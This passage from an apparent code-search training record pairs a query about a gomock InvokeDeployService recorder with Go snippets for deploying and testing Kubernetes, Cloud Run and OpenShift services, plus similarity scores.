c.k8sCoreClient.Services(svcConf.Namespace)\n\t// Check if service already exists. If exists, update it. If not, create.\n\tvar existingSvc *apicorev1.Service\n\texistingSvc, err = services.Get(svcConf.Name, metav1.GetOptions{})\n\tif err != nil {\n\t\tif k8serrors.IsNotFound(err) {\n\t\t\t// Create new service\n\t\t\t_, err = services.Create(desiredSvc)\n\t\t} else {\n\t\t\t// Unexpected error, return it\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\t// Check for differences between current and new specs\n\t\tif !k8sServiceSemanticEquals(desiredSvc, existingSvc) {\n\t\t\t_, err = services.Update(desiredSvc)\n\t\t}\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Wait until deployment ready and return any errors\n\treturn c.waitDeploymentReady(ctx, svcConf.Name, svcConf.Namespace)\n}" ]
[ "0.6747698", "0.6532291", "0.6177061", "0.6070834", "0.5956733", "0.58262444", "0.5786082", "0.57732904", "0.5728636", "0.56918544", "0.5648539", "0.5647512", "0.56263936", "0.55998", "0.5588171", "0.556304", "0.5553503", "0.55083996", "0.54335785", "0.54261553", "0.5412479", "0.537745", "0.53739434", "0.535946", "0.53559774", "0.5340623", "0.53118265", "0.53018975", "0.5281833", "0.52773136", "0.52464277", "0.5246348", "0.5244333", "0.52411264", "0.5239753", "0.5238902", "0.5232799", "0.5232161", "0.5221198", "0.52197134", "0.5218914", "0.51911366", "0.5180541", "0.51787347", "0.5160631", "0.5159379", "0.51564616", "0.51557195", "0.51491374", "0.51450545", "0.5143448", "0.5137128", "0.51346475", "0.51255095", "0.5123432", "0.5117043", "0.5114207", "0.5113266", "0.50975645", "0.5084404", "0.50791645", "0.507607", "0.50748974", "0.50687295", "0.50612956", "0.50589263", "0.50548095", "0.50450695", "0.5035035", "0.5032142", "0.5025834", "0.5023974", "0.50148684", "0.50050366", "0.50045645", "0.5001709", "0.49984726", "0.49978724", "0.49972722", "0.4988297", "0.4985583", "0.49846098", "0.4984173", "0.49797457", "0.49778256", "0.4977587", "0.4970442", "0.4962048", "0.4952487", "0.49477765", "0.49444985", "0.49438787", "0.49422598", "0.49410114", "0.49296913", "0.49284643", "0.49265447", "0.49241546", "0.49166042", "0.49131867" ]
0.75025284
0
InvokeDeployService indicates an expected call of InvokeDeployService
func (mr *MockmonitorInterfaceMockRecorder) InvokeDeployService(name, num interface{}) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "InvokeDeployService", reflect.TypeOf((*MockmonitorInterface)(nil).InvokeDeployService), name, num) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (m *MockmonitorInterface) InvokeDeployService(name string, num float64) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"InvokeDeployService\", name, num)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func shouldDeploy(currentEnvironment, newEnvironment *bitesize.Environment, serviceName string) bool {\n\tcurrentService := currentEnvironment.Services.FindByName(serviceName)\n\tupdatedService := newEnvironment.Services.FindByName(serviceName)\n\n\tif (currentService != nil && currentService.Status.DeployedAt != \"\") || (updatedService != nil && updatedService.Version != \"\") {\n\t\tif diff.ServiceChanged(serviceName) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "func deploy(project, name, image, region string, envs []string, options options) (string, error) {\n\tenvVars := parseEnv(envs)\n\n\tclient, err := runClient(region)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to initialize Run API client: %w\", err)\n\t}\n\n\tsvc, err := getService(project, name, region)\n\tif err == nil {\n\t\t// existing service\n\t\tsvc = patchService(svc, envVars, image, options)\n\t\t_, err = client.Namespaces.Services.ReplaceService(\"namespaces/\"+project+\"/services/\"+name, svc).Do()\n\t\tif err != nil {\n\t\t\tif e, ok := err.(*googleapi.Error); ok {\n\t\t\t\treturn \"\", fmt.Errorf(\"failed to deploy existing Service: code=%d message=%s -- %s\", e.Code, e.Message, e.Body)\n\t\t\t}\n\t\t\treturn \"\", fmt.Errorf(\"failed to deploy to existing Service: %w\", err)\n\t\t}\n\t} else {\n\t\t// new service\n\t\tsvc := newService(name, project, image, envVars, options)\n\t\t_, err = client.Namespaces.Services.Create(\"namespaces/\"+project, svc).Do()\n\t\tif err != nil {\n\t\t\tif e, ok := err.(*googleapi.Error); ok {\n\t\t\t\treturn \"\", fmt.Errorf(\"failed to deploy a new Service: code=%d message=%s -- %s\", e.Code, e.Message, e.Body)\n\t\t\t}\n\t\t\treturn \"\", fmt.Errorf(\"failed to deploy a new Service: %w\", err)\n\t\t}\n\t}\n\n\tif options.AllowUnauthenticated == nil || *options.AllowUnauthenticated {\n\t\tif err := allowUnauthenticated(project, name, region); err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"failed to allow unauthenticated requests on the service: %w\", err)\n\t\t}\n\t}\n\n\tif err := waitReady(project, name, region); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tout, err := getService(project, name, region)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to get service after deploying: %w\", err)\n\t}\n\treturn out.Status.Url, nil\n}", "func Deploy(s *model.Service, e *model.Environment, log *logger.Logger) error {\n\tlog.Printf(\"Deploying the service '%s'...\", s.Name)\n\n\tif len(s.GetIngressRules(false)) > 0 && !e.Provider.IsIngress() {\n\t\treturn fmt.Errorf(\"Support for ingress ports requires ingress configuration in your project\")\n\t}\n\tif err := deploy(s, e, log); err != nil {\n\t\treturn err\n\t}\n\tlog.Printf(\"Service '%s' successfully deployed.\", s.Name)\n\treturn nil\n}", "func TestCmdDeploy_retryOk(t *testing.T) {\n\tdeletedPods := []string{}\n\tconfig := deploytest.OkDeploymentConfig(1)\n\n\texistingDeployment := deploymentFor(config, deployapi.DeploymentStatusFailed)\n\texistingDeployment.Annotations[deployapi.DeploymentCancelledAnnotation] = deployapi.DeploymentCancelledAnnotationValue\n\texistingDeployment.Annotations[deployapi.DeploymentStatusReasonAnnotation] = deployapi.DeploymentCancelledByUser\n\n\texistingDeployerPods := []kapi.Pod{\n\t\t{ObjectMeta: kapi.ObjectMeta{Name: \"prehook\"}},\n\t\t{ObjectMeta: kapi.ObjectMeta{Name: \"posthook\"}},\n\t\t{ObjectMeta: kapi.ObjectMeta{Name: \"deployerpod\"}},\n\t}\n\n\tvar updatedDeployment *kapi.ReplicationController\n\tcommandClient := &deployCommandClientImpl{\n\t\tGetDeploymentFn: func(namespace, name string) (*kapi.ReplicationController, error) {\n\t\t\treturn existingDeployment, nil\n\t\t},\n\t\tUpdateDeploymentConfigFn: func(config *deployapi.DeploymentConfig) (*deployapi.DeploymentConfig, error) {\n\t\t\tt.Fatalf(\"unexpected call to UpdateDeploymentConfig\")\n\t\t\treturn nil, nil\n\t\t},\n\t\tUpdateDeploymentFn: func(deployment *kapi.ReplicationController) (*kapi.ReplicationController, error) {\n\t\t\tupdatedDeployment = deployment\n\t\t\treturn deployment, nil\n\t\t},\n\t\tListDeployerPodsForFn: func(namespace, name string) (*kapi.PodList, error) {\n\t\t\treturn &kapi.PodList{Items: existingDeployerPods}, nil\n\t\t},\n\t\tDeletePodFn: func(pod *kapi.Pod) error {\n\t\t\tdeletedPods = append(deletedPods, pod.Name)\n\t\t\treturn nil\n\t\t},\n\t}\n\n\tc := &retryDeploymentCommand{client: commandClient}\n\terr := c.retry(config, ioutil.Discard)\n\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\n\tif updatedDeployment == nil {\n\t\tt.Fatalf(\"expected updated config\")\n\t}\n\n\tif deployutil.IsDeploymentCancelled(updatedDeployment) {\n\t\tt.Fatalf(\"deployment should not have the cancelled flag set anymore\")\n\t}\n\n\tif deployutil.DeploymentStatusReasonFor(updatedDeployment) != \"\" {\n\t\tt.Fatalf(\"deployment status reason should be empty\")\n\t}\n\n\tsort.Strings(deletedPods)\n\tif !reflect.DeepEqual(deletedPods, []string{\"deployerpod\", \"posthook\", \"prehook\"}) {\n\t\tt.Fatalf(\"Not all deployer pods for the failed deployment were deleted\")\n\t}\n\n\tif e, a := deployapi.DeploymentStatusNew, deployutil.DeploymentStatusFor(updatedDeployment); e != a {\n\t\tt.Fatalf(\"expected deployment status %s, got %s\", e, a)\n\t}\n}", "func (f *FakeController) Deploy(options *deploy.Options, log log.Logger) error {\n\treturn nil\n}", "func (mgr *manager) DeploySvc(svcCfg anysched.SvcCfg) (anysched.Operation, error) {\n\tcount := uint64(svcCfg.Count)\n\tservice := swarm.ServiceSpec{\n\t\tAnnotations: swarm.Annotations{\n\t\t\tName: svcCfg.ID,\n\t\t},\n\t\tMode: swarm.ServiceMode{\n\t\t\tReplicated: &swarm.ReplicatedService{\n\t\t\t\tReplicas: &count,\n\t\t\t},\n\t\t},\n\t\tTaskTemplate: swarm.TaskSpec{\n\t\t\tContainerSpec: swarm.ContainerSpec{\n\t\t\t\tImage: svcCfg.Image,\n\t\t\t},\n\t\t},\n\t}\n\toptions := types.ServiceCreateOptions{}\n\tserviceCreateResponse, err := mgr.client.ServiceCreate(ctx, service, options)\n\tfmt.Printf(\"*** serviceCreateResponse = %+v; err = %+v\\n\", serviceCreateResponse, err)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"dockerswarm.manager.DeploySvc: mgr.client.ServiceCreate failed\")\n\t}\n\treturn nil, nil\n}", "func (c *DetaClient) Deploy(r *DeployRequest) (*DeployResponse, error) {\n\theaders := make(map[string]string)\n\tc.injectResourceHeader(headers, r.Account, r.Region)\n\n\ti := &requestInput{\n\t\tPath: fmt.Sprintf(\"/%s/\", patcherPath),\n\t\tMethod: \"POST\",\n\t\tHeaders: headers,\n\t\tBody: r,\n\t\tNeedsAuth: true,\n\t}\n\to, err := c.request(i)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif o.Status != 200 {\n\t\tmsg := o.Error.Message\n\t\tif msg == \"\" {\n\t\t\tmsg = o.Error.Errors[0]\n\t\t}\n\t\treturn nil, fmt.Errorf(\"failed to deploy: %v\", msg)\n\t}\n\n\tvar resp DeployResponse\n\terr = json.Unmarshal(o.Body, &resp)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to deploy: %v\", err)\n\t}\n\treturn &resp, nil\n}", "func Deploy(d *appsv1.Deployment, forceCreate bool, client *kubernetes.Clientset) error {\n\tif forceCreate {\n\t\tif err := create(d, client); err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tif err := update(d, client); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func TestCmdDeploy_cancelOk(t *testing.T) {\n\tvar (\n\t\tconfig *deployapi.DeploymentConfig\n\t\texistingDeployments *kapi.ReplicationControllerList\n\t\tupdatedDeployments []kapi.ReplicationController\n\t)\n\n\tcommandClient := &deployCommandClientImpl{\n\t\tGetDeploymentFn: func(namespace, name string) (*kapi.ReplicationController, error) {\n\t\t\tt.Fatalf(\"unexpected call to GetDeployment: %s\", name)\n\t\t\treturn nil, nil\n\t\t},\n\t\tListDeploymentsForConfigFn: func(namespace, configName string) (*kapi.ReplicationControllerList, error) {\n\t\t\treturn existingDeployments, nil\n\t\t},\n\t\tUpdateDeploymentConfigFn: func(config *deployapi.DeploymentConfig) (*deployapi.DeploymentConfig, error) {\n\t\t\tt.Fatalf(\"unexpected call to UpdateDeploymentConfig\")\n\t\t\treturn nil, nil\n\t\t},\n\t\tUpdateDeploymentFn: func(deployment *kapi.ReplicationController) (*kapi.ReplicationController, error) {\n\t\t\tupdatedDeployments = append(updatedDeployments, *deployment)\n\t\t\treturn deployment, nil\n\t\t},\n\t}\n\n\ttype existing struct {\n\t\tversion int\n\t\tstatus deployapi.DeploymentStatus\n\t\tshouldCancel bool\n\t}\n\ttype scenario struct {\n\t\tversion int\n\t\texisting []existing\n\t}\n\n\tscenarios := []scenario{\n\t\t// No existing deployments\n\t\t{1, []existing{{1, deployapi.DeploymentStatusComplete, false}}},\n\t\t// A single existing failed deployment\n\t\t{1, []existing{{1, deployapi.DeploymentStatusFailed, false}}},\n\t\t// Multiple existing completed/failed deployments\n\t\t{2, []existing{{2, deployapi.DeploymentStatusFailed, false}, {1, deployapi.DeploymentStatusComplete, false}}},\n\t\t// A single existing new deployment\n\t\t{1, []existing{{1, deployapi.DeploymentStatusNew, true}}},\n\t\t// A single existing pending deployment\n\t\t{1, []existing{{1, deployapi.DeploymentStatusPending, true}}},\n\t\t// A single existing running deployment\n\t\t{1, []existing{{1, deployapi.DeploymentStatusRunning, true}}},\n\t\t// Multiple existing deployments with one in new/pending/running\n\t\t{3, []existing{{3, deployapi.DeploymentStatusRunning, true}, {2, deployapi.DeploymentStatusComplete, false}, {1, deployapi.DeploymentStatusFailed, false}}},\n\t\t// Multiple existing deployments with more than one in new/pending/running\n\t\t{3, []existing{{3, deployapi.DeploymentStatusNew, true}, {2, deployapi.DeploymentStatusRunning, true}, {1, deployapi.DeploymentStatusFailed, false}}},\n\t}\n\n\tc := &cancelDeploymentCommand{client: commandClient}\n\tfor _, scenario := range scenarios {\n\t\tupdatedDeployments = []kapi.ReplicationController{}\n\t\tconfig = deploytest.OkDeploymentConfig(scenario.version)\n\t\texistingDeployments = &kapi.ReplicationControllerList{}\n\t\tfor _, e := range scenario.existing {\n\t\t\td, _ := deployutil.MakeDeployment(deploytest.OkDeploymentConfig(e.version), api.Codec)\n\t\t\td.Annotations[deployapi.DeploymentStatusAnnotation] = string(e.status)\n\t\t\texistingDeployments.Items = append(existingDeployments.Items, *d)\n\t\t}\n\n\t\terr := c.cancel(config, ioutil.Discard)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t\t}\n\n\t\texpectedCancellations := []int{}\n\t\tactualCancellations := []int{}\n\t\tfor _, e := range scenario.existing {\n\t\t\tif e.shouldCancel {\n\t\t\t\texpectedCancellations = append(expectedCancellations, e.version)\n\t\t\t}\n\t\t}\n\t\tfor _, d := range updatedDeployments {\n\t\t\tactualCancellations = append(actualCancellations, deployutil.DeploymentVersionFor(&d))\n\t\t}\n\n\t\tsort.Ints(actualCancellations)\n\t\tsort.Ints(expectedCancellations)\n\t\tif !reflect.DeepEqual(actualCancellations, expectedCancellations) {\n\t\t\tt.Fatalf(\"expected cancellations: %v, actual: %v\", expectedCancellations, actualCancellations)\n\t\t}\n\t}\n}", "func (mr *MockDeployerMockRecorder) Deploy(arg0, arg1, arg2, arg3, arg4, arg5, arg6 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Deploy\", reflect.TypeOf((*MockDeployer)(nil).Deploy), arg0, arg1, arg2, arg3, arg4, arg5, arg6)\n}", "func (c *applicationUsecaseImpl) Deploy(ctx context.Context, app *model.Application, req apisv1.ApplicationDeployRequest) (*apisv1.ApplicationDeployResponse, error) {\n\t// TODO: rollback to handle all the error case\n\t// step1: Render oam application\n\tversion := utils.GenerateVersion(\"\")\n\toamApp, err := c.renderOAMApplication(ctx, app, req.WorkflowName, version)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tconfigByte, _ := yaml.Marshal(oamApp)\n\n\tworkflow, err := c.workflowUsecase.GetWorkflow(ctx, app, oamApp.Annotations[oam.AnnotationWorkflowName])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// step2: check and create deploy event\n\tif !req.Force {\n\t\tvar lastVersion = model.ApplicationRevision{\n\t\t\tAppPrimaryKey: app.PrimaryKey(),\n\t\t\tEnvName: workflow.EnvName,\n\t\t}\n\t\tlist, err := c.ds.List(ctx, &lastVersion, &datastore.ListOptions{\n\t\t\tPageSize: 1, Page: 1, SortBy: []datastore.SortOption{{Key: \"createTime\", Order: datastore.SortOrderDescending}}})\n\t\tif err != nil && !errors.Is(err, datastore.ErrRecordNotExist) {\n\t\t\tlog.Logger.Errorf(\"query app latest revision failure %s\", err.Error())\n\t\t\treturn nil, bcode.ErrDeployConflict\n\t\t}\n\t\tif len(list) > 0 && list[0].(*model.ApplicationRevision).Status != model.RevisionStatusComplete {\n\t\t\tlog.Logger.Warnf(\"last app revision can not complete %s/%s\", list[0].(*model.ApplicationRevision).AppPrimaryKey, list[0].(*model.ApplicationRevision).Version)\n\t\t\treturn nil, bcode.ErrDeployConflict\n\t\t}\n\t}\n\n\tvar appRevision = &model.ApplicationRevision{\n\t\tAppPrimaryKey: app.PrimaryKey(),\n\t\tVersion: version,\n\t\tApplyAppConfig: string(configByte),\n\t\tStatus: model.RevisionStatusInit,\n\t\t// TODO: Get user information from ctx and assign a value.\n\t\tDeployUser: \"\",\n\t\tNote: req.Note,\n\t\tTriggerType: req.TriggerType,\n\t\tWorkflowName: oamApp.Annotations[oam.AnnotationWorkflowName],\n\t\tEnvName: workflow.EnvName,\n\t}\n\n\tif err := c.ds.Add(ctx, appRevision); err != nil {\n\t\treturn nil, err\n\t}\n\t// step3: check and create namespace\n\tvar namespace corev1.Namespace\n\tif err := c.kubeClient.Get(ctx, types.NamespacedName{Name: oamApp.Namespace}, &namespace); apierrors.IsNotFound(err) {\n\t\tnamespace.Name = oamApp.Namespace\n\t\tif err := c.kubeClient.Create(ctx, &namespace); err != nil {\n\t\t\tlog.Logger.Errorf(\"auto create namespace failure %s\", err.Error())\n\t\t\treturn nil, bcode.ErrCreateNamespace\n\t\t}\n\t}\n\t// step4: apply to controller cluster\n\terr = c.apply.Apply(ctx, oamApp)\n\tif err != nil {\n\t\tappRevision.Status = model.RevisionStatusFail\n\t\tappRevision.Reason = err.Error()\n\t\tif err := c.ds.Put(ctx, appRevision); err != nil {\n\t\t\tlog.Logger.Warnf(\"update deploy event failure %s\", err.Error())\n\t\t}\n\n\t\tlog.Logger.Errorf(\"deploy app %s failure %s\", app.PrimaryKey(), err.Error())\n\t\treturn nil, bcode.ErrDeployApplyFail\n\t}\n\n\t// step5: create workflow record\n\tif err := c.workflowUsecase.CreateWorkflowRecord(ctx, app, oamApp, workflow); err != nil {\n\t\tlog.Logger.Warnf(\"create workflow record failure %s\", err.Error())\n\t}\n\n\t// step6: update app revision status\n\tappRevision.Status = model.RevisionStatusRunning\n\tif err := c.ds.Put(ctx, appRevision); err != nil {\n\t\tlog.Logger.Warnf(\"update app revision failure %s\", err.Error())\n\t}\n\n\treturn &apisv1.ApplicationDeployResponse{\n\t\tApplicationRevisionBase: apisv1.ApplicationRevisionBase{\n\t\t\tVersion: appRevision.Version,\n\t\t\tStatus: appRevision.Status,\n\t\t\tReason: appRevision.Reason,\n\t\t\tDeployUser: appRevision.DeployUser,\n\t\t\tNote: appRevision.Note,\n\t\t\tTriggerType: appRevision.TriggerType,\n\t\t},\n\t}, nil\n}", "func (r *RuntimeServer) GetDeployInfo(ctx context.Context, re *pb.ServiceRequest) (*pb.DeployInfo, error) {\n\tvar deployinfo pb.DeployInfo\n\tappService := r.store.GetAppService(re.ServiceId)\n\tif appService != nil {\n\t\tdeployinfo.Namespace = appService.TenantID\n\t\tif appService.GetStatefulSet() != nil {\n\t\t\tdeployinfo.Statefuleset = appService.GetStatefulSet().Name\n\t\t\tdeployinfo.StartTime = appService.GetStatefulSet().ObjectMeta.CreationTimestamp.Format(time.RFC3339)\n\t\t}\n\t\tif appService.GetDeployment() != nil {\n\t\t\tdeployinfo.Deployment = appService.GetDeployment().Name\n\t\t\tdeployinfo.StartTime = appService.GetDeployment().ObjectMeta.CreationTimestamp.Format(time.RFC3339)\n\t\t}\n\t\tif services := appService.GetServices(false); services != nil {\n\t\t\tservice := make(map[string]string, len(services))\n\t\t\tfor _, s := range services {\n\t\t\t\tservice[s.Name] = s.Name\n\t\t\t}\n\t\t\tdeployinfo.Services = service\n\t\t}\n\t\tif endpoints := appService.GetEndpoints(false); endpoints != nil &&\n\t\t\tappService.AppServiceBase.ServiceKind == model.ServiceKindThirdParty {\n\t\t\teps := make(map[string]string, len(endpoints))\n\t\t\tfor _, s := range endpoints {\n\t\t\t\teps[s.Name] = s.Name\n\t\t\t}\n\t\t\tdeployinfo.Endpoints = eps\n\t\t}\n\t\tif secrets := appService.GetSecrets(false); secrets != nil {\n\t\t\tsecretsinfo := make(map[string]string, len(secrets))\n\t\t\tfor _, s := range secrets {\n\t\t\t\tsecretsinfo[s.Name] = s.Name\n\t\t\t}\n\t\t\tdeployinfo.Secrets = secretsinfo\n\t\t}\n\t\tif ingresses := appService.GetIngress(false); ingresses != nil {\n\t\t\tingress := make(map[string]string, len(ingresses))\n\t\t\tfor _, s := range ingresses {\n\t\t\t\tingress[s.Name] = s.Name\n\t\t\t}\n\t\t\tdeployinfo.Ingresses = ingress\n\t\t}\n\t\tif pods := appService.GetPods(false); pods != nil {\n\t\t\tpodNames := make(map[string]string, len(pods))\n\t\t\tfor _, s := range pods {\n\t\t\t\tpodNames[s.Name] = s.Name\n\t\t\t}\n\t\t\tdeployinfo.Pods = podNames\n\t\t}\n\t\tif rss := appService.GetReplicaSets(); rss != nil {\n\t\t\trsnames := make(map[string]string, len(rss))\n\t\t\tfor _, s := range rss {\n\t\t\t\trsnames[s.Name] = s.Name\n\t\t\t}\n\t\t\tdeployinfo.Replicatset = rsnames\n\t\t}\n\t\tdeployinfo.Status = appService.GetServiceStatus()\n\t}\n\treturn &deployinfo, nil\n}", "func (mr *MockSecretsMockRecorder) Deploy(arg0, arg1, arg2, arg3 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Deploy\", reflect.TypeOf((*MockSecrets)(nil).Deploy), arg0, arg1, arg2, arg3)\n}", "func DeployApp(w http.ResponseWriter, r *http.Request) {\n\tparams := mux.Vars(r)\n\tstatus := params[\"status\"]\n\tlog.Printf(\"Params: %s\\n\", params)\n\n\tclientset, err := getConfig()\n\tif err != nil {\n\t\tlog.Fatalln(\"failed to get the config:\", err)\n\t}\n\n\tdeploymentsClient := clientset.AppsV1().Deployments(namespace)\n\n\tdeploymentName := params[\"app\"] + \"-deployment\"\n\n\tlist, err := deploymentsClient.List(metav1.ListOptions{})\n\tif err != nil {\n\t\tlog.Fatalln(\"failed to get deployments:\", err)\n\t}\n\n\tcontainers := []apiv1.Container{createContainer(params[\"app\"], repository+\"/\"+params[\"app\"]+appversion)}\n\n\tif status == \"true\" {\n\t\tfor _, d := range list.Items {\n\t\t\tif d.Name == deploymentName && *d.Spec.Replicas > 0 {\n\t\t\t\tlog.Printf(\"Deployment already running: %s\\n\", deploymentName)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tnodeLabel(params[\"node\"], \"app\", params[\"app\"], \"add\")\n\n\t\tdeployment := &appsv1.Deployment{\n\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\tName: deploymentName,\n\t\t\t},\n\t\t\tSpec: appsv1.DeploymentSpec{\n\t\t\t\tReplicas: int32Ptr(1),\n\t\t\t\tSelector: &metav1.LabelSelector{\n\t\t\t\t\tMatchLabels: map[string]string{\n\t\t\t\t\t\t\"app\": params[\"app\"],\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tTemplate: apiv1.PodTemplateSpec{\n\t\t\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\t\t\tLabels: map[string]string{\n\t\t\t\t\t\t\t\"app\": params[\"app\"],\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tSpec: apiv1.PodSpec{\n\t\t\t\t\t\tContainers: containers,\n\t\t\t\t\t\tNodeSelector: map[string]string{\n\t\t\t\t\t\t\t\"app\": params[\"app\"],\n\t\t\t\t\t\t},\n\t\t\t\t\t\tVolumes: []apiv1.Volume{\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tName: \"mem\",\n\t\t\t\t\t\t\t\tVolumeSource: apiv1.VolumeSource{\n\t\t\t\t\t\t\t\t\tHostPath: &apiv1.HostPathVolumeSource{\n\t\t\t\t\t\t\t\t\t\tPath: \"/dev/mem\",\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tName: \"gpiomem\",\n\t\t\t\t\t\t\t\tVolumeSource: apiv1.VolumeSource{\n\t\t\t\t\t\t\t\t\tHostPath: &apiv1.HostPathVolumeSource{\n\t\t\t\t\t\t\t\t\t\tPath: \"/dev/gpiomem\",\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t\t// Create Deployment\n\t\tfmt.Println(\"Creating deployment...\")\n\t\tresult, err := deploymentsClient.Create(deployment)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tfmt.Printf(\"Created deployment %q.\\n\", result.GetObjectMeta().GetName())\n\n\t} else {\n\n\t\tnodeLabel(params[\"node\"], \"app\", params[\"app\"], \"del\")\n\n\t\tfmt.Println(\"Deleting deployment...\")\n\t\tdeletePolicy := metav1.DeletePropagationForeground\n\t\tif err := deploymentsClient.Delete(deploymentName, &metav1.DeleteOptions{\n\t\t\tPropagationPolicy: &deletePolicy,\n\t\t}); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tfmt.Println(\"Deleted deployment.\")\n\t}\n\n}", "func TestDeploy(t *testing.T) {\n\tdata, err := setupTest(t)\n\tif err != nil {\n\t\tt.Fatalf(\"Error when setting up test: %v\", err)\n\t}\n\tdefer teardownTest(t, data)\n}", "func VerifyDeployment(t *testing.T, pod *k8score.PodSpec, expectedSpec pegaDeployment, options *helm.Options) {\n\trequire.Equal(t, \"pega-volume-config\", pod.Volumes[0].Name)\n\trequire.Equal(t, expectedSpec.name, pod.Volumes[0].VolumeSource.ConfigMap.LocalObjectReference.Name)\n\trequire.Equal(t, volumeDefaultModePtr, pod.Volumes[0].VolumeSource.ConfigMap.DefaultMode)\n\trequire.Equal(t, \"pega-volume-credentials\", pod.Volumes[1].Name)\n\trequire.Equal(t, getObjName(options, \"-credentials-secret\"), pod.Volumes[1].VolumeSource.Projected.Sources[0].Secret.Name)\n\trequire.Equal(t, volumeDefaultModePtr, pod.Volumes[1].VolumeSource.Projected.DefaultMode)\n\n\tactualInitContainers := pod.InitContainers\n\tcount := len(actualInitContainers)\n\tactualInitContainerNames := make([]string, count)\n\tfor i := 0; i < count; i++ {\n\t\tactualInitContainerNames[i] = actualInitContainers[i].Name\n\t}\n\n\t//require.Equal(t, expectedSpec.initContainers, actualInitContainerNames) NEED TO CHANGE FOR \"install-deploy\"\n\tVerifyInitContainerData(t, actualInitContainers, options)\n\trequire.Equal(t, \"pega-web-tomcat\", pod.Containers[0].Name)\n\trequire.Equal(t, \"pegasystems/pega\", pod.Containers[0].Image)\n\trequire.Equal(t, \"pega-web-port\", pod.Containers[0].Ports[0].Name)\n\trequire.Equal(t, int32(8080), pod.Containers[0].Ports[0].ContainerPort)\n\trequire.Equal(t, \"pega-tls-port\", pod.Containers[0].Ports[1].Name)\n\trequire.Equal(t, int32(8443), pod.Containers[0].Ports[1].ContainerPort)\n\tvar envIndex int32 = 0\n\trequire.Equal(t, \"NODE_TYPE\", pod.Containers[0].Env[envIndex].Name)\n\trequire.Equal(t, expectedSpec.nodeType, pod.Containers[0].Env[envIndex].Value)\n\tenvIndex++\n\trequire.Equal(t, \"PEGA_APP_CONTEXT_PATH\", pod.Containers[0].Env[envIndex].Name)\n\trequire.Equal(t, \"prweb\", pod.Containers[0].Env[envIndex].Value)\n\tif expectedSpec.name == getObjName(options, \"-web\") || expectedSpec.name == getObjName(options, \"-stream\") {\n\t\tenvIndex++\n\t\trequire.Equal(t, \"REQUESTOR_PASSIVATION_TIMEOUT\", pod.Containers[0].Env[envIndex].Name)\n\t\trequire.Equal(t, expectedSpec.passivationTimeout, pod.Containers[0].Env[envIndex].Value)\n\t}\n\tif options.SetValues[\"constellation.enabled\"] == \"true\" {\n\t\tenvIndex++\n\t\trequire.Equal(t, \"COSMOS_SETTINGS\", pod.Containers[0].Env[envIndex].Name)\n\t\trequire.Equal(t, \"Pega-UIEngine/cosmosservicesURI=/c11n\", pod.Containers[0].Env[envIndex].Value)\n\t}\n\tenvIndex++\n\trequire.Equal(t, \"JAVA_OPTS\", pod.Containers[0].Env[envIndex].Name)\n\trequire.Equal(t, \"\", pod.Containers[0].Env[envIndex].Value)\n\tenvIndex++\n\trequire.Equal(t, \"CATALINA_OPTS\", pod.Containers[0].Env[envIndex].Name)\n\trequire.Equal(t, \"\", pod.Containers[0].Env[envIndex].Value)\n\tenvIndex++\n\trequire.Equal(t, \"INITIAL_HEAP\", pod.Containers[0].Env[envIndex].Name)\n\trequire.Equal(t, \"4096m\", pod.Containers[0].Env[envIndex].Value)\n\tenvIndex++\n\trequire.Equal(t, \"MAX_HEAP\", pod.Containers[0].Env[envIndex].Name)\n\trequire.Equal(t, \"8192m\", pod.Containers[0].Env[envIndex].Value)\n\trequire.Equal(t, getObjName(options, \"-environment-config\"), pod.Containers[0].EnvFrom[0].ConfigMapRef.LocalObjectReference.Name)\n\trequire.Equal(t, \"4\", pod.Containers[0].Resources.Limits.Cpu().String())\n\trequire.Equal(t, \"12Gi\", pod.Containers[0].Resources.Limits.Memory().String())\n\trequire.Equal(t, \"3\", pod.Containers[0].Resources.Requests.Cpu().String())\n\trequire.Equal(t, \"12Gi\", pod.Containers[0].Resources.Requests.Memory().String())\n\n\trequire.Equal(t, \"pega-volume-config\", pod.Containers[0].VolumeMounts[0].Name)\n\trequire.Equal(t, \"/opt/pega/config\", pod.Containers[0].VolumeMounts[0].MountPath)\n\n\t//If these tests start failing, helm 